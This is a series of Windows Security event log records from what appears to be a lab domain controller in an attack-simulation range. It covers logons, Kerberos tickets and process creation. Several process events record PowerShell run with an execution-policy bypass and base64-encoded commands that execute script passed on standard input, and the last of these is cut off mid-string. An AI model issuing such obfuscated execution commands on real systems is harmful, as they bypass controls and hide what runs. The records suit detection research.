EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250575
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250574
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113986

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250573
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113986
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{518DECA3-8B9F-744F-0C93-FDB4F1CFF899}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250572
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{518DECA3-8B9F-744F-0C93-FDB4F1CFF899}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250571
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{518DECA3-8B9F-744F-0C93-FDB4F1CFF899}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250570
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250569
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a0
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1308
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250667
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x116E39

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250666
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x116E39
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250665
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250664
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250663
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250662
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e0
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250661
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1390
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250660
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x115AC3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250659
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x115AC3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250658
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250657
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250656
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250655
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1390
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaa8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHc